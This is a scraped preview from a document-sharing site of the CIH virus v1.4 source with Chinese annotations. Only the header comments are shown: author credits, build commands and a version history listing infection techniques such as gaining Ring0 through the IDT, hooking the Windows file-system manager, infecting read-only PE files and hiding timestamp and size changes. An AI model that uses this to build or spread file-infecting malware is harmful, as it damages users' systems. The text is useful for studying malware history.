資源描述：
《CIH源碼及中文注釋》由會(huì)員上傳分享，免費(fèi)在線閱讀，更多相關(guān)內(nèi)容在行業(yè)資料-天天文庫。
1、;日期:2002/5/10 文章出處:UnKnow;標(biāo)題:CIH病毒1.4版本之中文注釋 作者:鄒丹;CIH病毒1.4版本之中文注釋由"鄒丹"編寫完成于1999-4-09;源程序中的英文注釋未作修改,全部保留;電子郵件:zd_dan@263.net;個(gè)人主頁:zdweb.yeah.net;本人所編寫之注釋僅供研究之用，如作其他用途，概于本人無關(guān)?。?！;!!!!!!后附精彩后記,敬請(qǐng)留意!!!!!!;***************************************************************
2、*************;*TheVirusProgramInformation*;****************************************************************************;**;*Designer:CIHSource:TTITofTATUNGinTaiwan*;*CreateDate:04/26/1998NowVersion:1.4*;*ModificationTime:05/31/1998*;**;*TurboAssemblerVersion4.0:tasm/mcih*;*TurboLinkVers
3、ion3.01:tlink/3/tcih,cih.exe*;編譯連接方法;**;使用的是TurboAssembler;*==========================================================================*;可在BorlandC++3.1中找到;*ModificationHistory*;*==========================================================================*;*v1.01.CreatetheVirusProgram.*;*2
4、.TheVirusModifiesIDTtoGetRing0Privilege.*;*04/26/19983.VirusCodedoesn'tReloadintoSystem.*;*4.CallIFSMgr_InstallFileSystemApiHooktoHookFileSystem.*;*5.ModifiesEntryPointofIFSMgr_InstallFileSystemApiHook.*;*6.WhenSystemOpensExistingPEFile,theFilewillbe*;*Infected,andtheFiledoesn'tbeReinfe
5、cted.*;*7.ItisalsoInfected,eventheFileisRead-Only.*;*8.WhentheFileisInfected,theModificationDateandTime*;*oftheFilealsodon'tbeChanged.*;*9.WhenMyVirusUsesIFSMgr_Ring0_FileIO,itwillnotCall*;*PreviousFileSystemApiHook,itwillCalltheFunction*;*thattheIFSManagerWouldNormallyCalltoImplement*;
6、*thisParticularI/ORequest.*;*10.TheVirusSizeisonly656Bytes.*;*==========================================================================*;*v1.11.Especially,theFilethatbeInfectedwillnotIncrease*;*it'sSize...^__^*;*05/15/19982.HookandModifyStructuredExceptionHanding.*;*WhenExceptionErrorO
7、ccurs,OurOSSystemshouldbein*;*WindowsNT.SoMyCuteViruswillnotContinuetoRun,*;*itwillJmuptoOriginalApplicationtoRun.*;*3.UseBetterAlgorithm,ReduceVirusCodeSize.*;*4.TheVirus"Basic"Sizeisonly796Bytes.*;*==========================================================================*;*v
